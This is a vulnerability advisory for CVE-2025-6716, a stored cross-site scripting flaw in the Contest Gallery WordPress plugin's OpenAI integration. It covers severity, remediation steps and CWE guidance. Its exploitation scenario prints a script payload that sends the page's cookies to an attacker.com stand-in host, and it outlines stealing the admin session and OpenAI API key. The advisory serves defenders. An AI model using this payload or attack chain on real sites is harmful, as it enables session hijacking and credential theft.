CVE-2025-6716: Contest Gallery WP Plugin: Stored XSS in OpenAI integration
MEDIUM PoC AVAILABLEAuthor-level WordPress users can inject persistent JavaScript into gallery pages via the OpenAI-integrated Contest Gallery plugin. In an AI context, the real risk is exfiltration of OpenAI API keys or admin session tokens by anyone visiting an injected page. Update to v26.0.9+ immediately and rotate any OpenAI API credentials configured in the plugin.
What is the risk?
Medium risk with elevated concern for sites where the OpenAI integration is actively used. Attack complexity is low and only requires Author-level access — a privilege tier commonly granted to content contributors. While CVSS is 6.4 and it is not in CISA KEV, the combination of persistent payload execution and OpenAI API credential exposure potential raises the effective risk for AI-enabled WordPress deployments. No evidence of active exploitation at time of publication.
How severe is it?
What is the attack surface?
What should I do?
6 steps-
PATCH
Update Contest Gallery plugin to version 26.0.9 or later via WordPress admin dashboard.
-
ROTATE
Immediately rotate any OpenAI API keys configured in the plugin (Settings > Contest Gallery > OpenAI).
-
AUDIT
Query the database for malicious content — run: SELECT post_id, meta_value FROM wp_postmeta WHERE meta_key LIKE '%title%' AND meta_value LIKE '%<script%';
-
REVIEW
Audit all Author-level and above accounts for unauthorized users.
-
WAF
Enable rules blocking script injection patterns targeting WordPress upload endpoints (ModSecurity CRS rule 941100+).
-
MONITOR
Alert on unexpected outbound HTTP requests from wp-admin sessions to non-trusted domains.
What does CISA's SSVC say?
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2025-6716?
Author-level WordPress users can inject persistent JavaScript into gallery pages via the OpenAI-integrated Contest Gallery plugin. In an AI context, the real risk is exfiltration of OpenAI API keys or admin session tokens by anyone visiting an injected page. Update to v26.0.9+ immediately and rotate any OpenAI API credentials configured in the plugin.
Is CVE-2025-6716 actively exploited?
Proof-of-concept exploit code is publicly available for CVE-2025-6716, increasing the risk of exploitation.
How to fix CVE-2025-6716?
1. PATCH: Update Contest Gallery plugin to version 26.0.9 or later via WordPress admin dashboard. 2. ROTATE: Immediately rotate any OpenAI API keys configured in the plugin (Settings > Contest Gallery > OpenAI). 3. AUDIT: Query the database for malicious content — run: SELECT post_id, meta_value FROM wp_postmeta WHERE meta_key LIKE '%title%' AND meta_value LIKE '%<script%'; 4. REVIEW: Audit all Author-level and above accounts for unauthorized users. 5. WAF: Enable rules blocking script injection patterns targeting WordPress upload endpoints (ModSecurity CRS rule 941100+). 6. MONITOR: Alert on unexpected outbound HTTP requests from wp-admin sessions to non-trusted domains.
What systems are affected by CVE-2025-6716?
This vulnerability affects the following AI/ML architecture patterns: WordPress AI plugin integrations, LLM API integrations, Plugin-based AI content pipelines, Web-based AI feature deployments.
What is the CVSS score for CVE-2025-6716?
CVE-2025-6716 has a CVSS v3.1 base score of 6.4 (MEDIUM). The EPSS exploitation probability is 0.19%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0040 AI Model Inference API Access AML.T0049 Exploit Public-Facing Application AML.T0055 Unsecured Credentials AML.T0093 Prompt Infiltration via Public-Facing Application Compliance Controls Affected
What are the technical details?
Original Advisory
The Photos, Files, YouTube, Twitter, Instagram, TikTok, Ecommerce Contest Gallery – Upload, Vote, Sell via PayPal or Stripe, Social Share Buttons, OpenAI plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'upload[1][title]' parameter in all versions up to, and including, 26.0.8 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
Exploitation Scenario
An attacker with a legitimate or compromised WordPress Author account uploads a file to the contest gallery with a crafted title: <script>fetch('https://attacker.com/exfil?c='+document.cookie)</script>. The plugin stores this unsanitized value. When a site administrator visits the gallery management page to review submissions, the script silently fires, sending the admin's WordPress session cookie to the attacker. The attacker then uses that session to access wp-admin, extract the OpenAI API key from the plugin settings, and either abuse it directly (cost harvesting, data extraction) or pivot to modify the plugin's LLM prompts to inject malicious instructions into all future AI-processed gallery content.
Weaknesses (CWE)
CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'): The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
- [Architecture and Design] Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
- [Implementation, Architecture and Design] Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed. HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Casca
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N References
Timeline
Related Vulnerabilities
CVE-2025-59528 10.0 Flowise: Unauthenticated RCE via MCP config injection
Same attack type: Code Execution CVE-2024-2912 10.0 BentoML: RCE via insecure deserialization (CVSS 10)
Same attack type: Code Execution CVE-2023-3765 10.0 MLflow: path traversal allows arbitrary file read
Same attack type: Data Leakage CVE-2025-5120 10.0 smolagents: sandbox escape enables unauthenticated RCE
Same attack type: Data Leakage CVE-2026-21858 10.0 n8n: Input Validation flaw enables exploitation
Same attack type: Code Execution